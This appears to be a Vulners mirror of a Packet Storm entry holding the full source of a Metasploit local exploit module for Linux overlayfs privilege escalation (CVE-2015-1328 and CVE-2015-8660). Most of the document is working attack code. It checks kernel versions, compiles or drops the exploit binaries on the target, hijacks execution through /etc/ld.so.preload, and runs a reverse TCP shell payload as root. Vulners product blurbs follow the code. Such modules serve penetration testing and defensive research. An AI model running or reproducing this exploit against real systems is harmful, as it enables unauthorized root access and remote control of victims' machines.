Lucene search
K

Overlayfs Privilege Escalation

🗓️ 01 Nov 2016 00:00:00Reported by rebelType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 383 Views

Overlayfs Privilege Escalation module for Linux exploiting CVEs 2015-1328 and 2015-866

Related
Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require "msf/core"  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GoodRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Overlayfs Privilege Escalation',  
'Description' => %q{  
This module attempts to exploit two different CVEs related to overlayfs.  
CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55  
3.16.0-25 (14.10 default) < 3.16.0-41  
3.19.0-18 (15.04 default) < 3.19.0-21  
CVE-2015-8660:  
Ubuntu:  
3.19.0-18 < 3.19.0-43  
4.2.0-18 < 4.2.0-23 (14.04.1, 15.10)  
Fedora:  
< 4.2.8 (vulnerable, un-tested)  
Red Hat:  
< 3.10.0-327 (rhel 6, vulnerable, un-tested)  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'h00die <[email protected]>', # Module  
'rebel' # Discovery  
],  
'DisclosureDate' => 'Jun 16 2015',  
'Platform' => [ 'linux'],  
'Arch' => [ ARCH_X86, ARCH_X86_64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' =>  
[  
[ 'CVE-2015-1328', { } ],  
[ 'CVE-2015-8660', { } ]  
],  
'DefaultTarget' => 1,  
'DefaultOptions' =>  
{  
'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su  
},  
'References' =>  
[  
[ 'EDB', '39166'], # CVE-2015-8660  
[ 'EDB', '37292'], # CVE-2015-1328  
[ 'CVE', '2015-1328'],  
[ 'CVE', '2015-8660']  
]  
))  
register_options(  
[  
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),  
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])  
], self.class)  
end  
  
def check  
def mounts_exist?()  
vprint_status('Checking if mount points exist')  
if target.name == 'CVE-2015-1328'  
if not directory?('/tmp/ns_sploit')  
vprint_good('/tmp/ns_sploit not created')  
return true  
else  
print_error('/tmp/ns_sploit directory exists. Please delete.')  
return false  
end  
elsif target.name == 'CVE-2015-8660'  
if not directory?('/tmp/haxhax')  
vprint_good('/tmp/haxhax not created')  
return true  
else  
print_error('/tmp/haxhax directory exists. Please delete.')  
return false  
end  
end  
end  
  
def kernel_vuln?()  
os_id = cmd_exec('grep ^ID= /etc/os-release')  
case os_id  
when 'ID=ubuntu'  
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))  
case kernel.release.to_s  
when '3.13.0'  
if kernel.between?(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic'))  
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")  
return true  
else  
print_error("Kernel #{kernel} is NOT vulnerable")  
return false  
end  
when '3.16.0'  
if kernel.between?(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic'))  
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")  
return true  
else  
print_error("Kernel #{kernel} is NOT vulnerable")  
return false  
end  
when '3.19.0'  
if kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic'))  
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")  
return true  
elsif kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic'))  
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")  
return true  
else  
print_error("Kernel #{kernel} is NOT vulnerable")  
return false  
end  
when '4.2.0'  
if kernel.between?(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic'))  
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")  
return true  
else  
print_error("Kernel #{kernel} is NOT vulnerable")  
return false  
end  
else  
print_error("Non-vuln kernel #{kernel}")  
return false  
end  
when 'ID=fedora'  
kernel = Gem::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc  
# irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')  
# => "4.0.4-301"  
if kernel.release < Gem::Version.new('4.2.8')  
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660. Exploitation UNTESTED")  
return true  
else  
print_error("Non-vuln kernel #{kernel}")  
return false  
end  
else  
print_error("Unknown OS: #{os_id}")  
return false  
end  
end  
  
if mounts_exist?() && kernel_vuln?()  
return CheckCode::Appears  
else  
return CheckCode::Safe  
end  
end  
  
def exploit  
  
if check != CheckCode::Appears  
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')  
end  
  
filename = rand_text_alphanumeric(8)  
executable_path = "#{datastore['WritableDir']}/#{filename}"  
payloadname = rand_text_alphanumeric(8)  
payload_path = "#{datastore['WritableDir']}/#{payloadname}"  
  
def has_prereqs?()  
gcc = cmd_exec('which gcc')  
if gcc.include?('gcc')  
vprint_good('gcc is installed')  
else  
print_error('gcc is not installed. Compiling will fail.')  
end  
return gcc.include?('gcc')  
end  
  
compile = false  
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'  
if has_prereqs?()  
compile = true  
vprint_status('Live compiling exploit on system')  
else  
vprint_status('Dropping pre-compiled exploit on system')  
end  
end  
if check != CheckCode::Appears  
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')  
end  
  
def upload_and_chmod(fname, fcontent, cleanup=true)  
print_status "Writing to #{fname} (#{fcontent.size} bytes)"  
rm_f fname  
write_file(fname, fcontent)  
cmd_exec("chmod +x #{fname}")  
if cleanup  
register_file_for_cleanup(fname)  
end  
end  
  
def on_new_session(session)  
super  
if target.name == 'CVE-2015-1328'  
session.shell_command("/bin/su") #this doesnt work on meterpreter?????  
# we cleanup here instead of earlier since we needed the /bin/su in our new session  
session.shell_command('rm -f /etc/ld.so.preload')  
session.shell_command('rm -f /tmp/ofs-lib.so')  
end  
end  
  
if compile  
begin  
if target.name == 'CVE-2015-1328'  
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size  
# Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary.  
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c')  
fd = ::File.open( path, "rb")  
cve_2015_1328 = fd.read(fd.stat.size)  
fd.close  
  
# pulled out from 1328.c's LIB define  
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c')  
fd = ::File.open( path, "rb")  
ofs_lib = fd.read(fd.stat.size)  
fd.close  
else  
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size  
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c')  
fd = ::File.open( path, "rb")  
cve_2015_8660 = fd.read(fd.stat.size)  
fd.close  
end  
rescue  
compile = false #hdm said external folder is optional and all module should run even if external is deleted. If we fail to load, default to binaries  
end  
end  
  
  
if compile  
if target.name == 'CVE-2015-1328'  
cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/,  
"execl(\"#{payload_path}\",\"#{payloadname}\",NULL);")  
upload_and_chmod("#{executable_path}.c", cve_2015_1328)  
ofs_path = "#{datastore['WritableDir']}/ofs-lib"  
upload_and_chmod("#{ofs_path}.c", ofs_lib)  
cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file  
register_file_for_cleanup("#{ofs_path}.c")  
else  
cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/,  
"os.execl('#{payload_path}','#{payloadname}')")  
upload_and_chmod("#{executable_path}.c", cve_2015_8660)  
end  
vprint_status("Compiling #{executable_path}.c")  
cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile  
register_file_for_cleanup(executable_path)  
else  
if target.name == 'CVE-2015-1328'  
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328')  
fd = ::File.open( path, "rb")  
cve_2015_1328 = fd.read(fd.stat.size)  
fd.close  
upload_and_chmod(executable_path, cve_2015_1328)  
  
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so')  
fd = ::File.open( path, "rb")  
ofs_lib = fd.read(fd.stat.size)  
fd.close  
ofs_path = "#{datastore['WritableDir']}/ofs-lib"  
# dont auto cleanup or else it happens too quickly and we never escalate ourprivs  
upload_and_chmod("#{ofs_path}.so", ofs_lib, false)  
  
# overwrite with the hardcoded variable names in the compiled versions  
payload_filename = 'lXqzVpYN'  
payload_path = '/tmp/lXqzVpYN'  
else  
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660')  
fd = ::File.open( path, "rb")  
cve_2015_8660 = fd.read(fd.stat.size)  
fd.close  
upload_and_chmod(executable_path, cve_2015_8660)  
# overwrite with the hardcoded variable names in the compiled versions  
payload_filename = '1H0qLaq2'  
payload_path = '/tmp/1H0qLaq2'  
end  
end  
  
upload_and_chmod(payload_path, generate_payload_exe)  
vprint_status('Exploiting...')  
output = cmd_exec(executable_path)  
output.each_line { |line| vprint_status(line.chomp) }  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation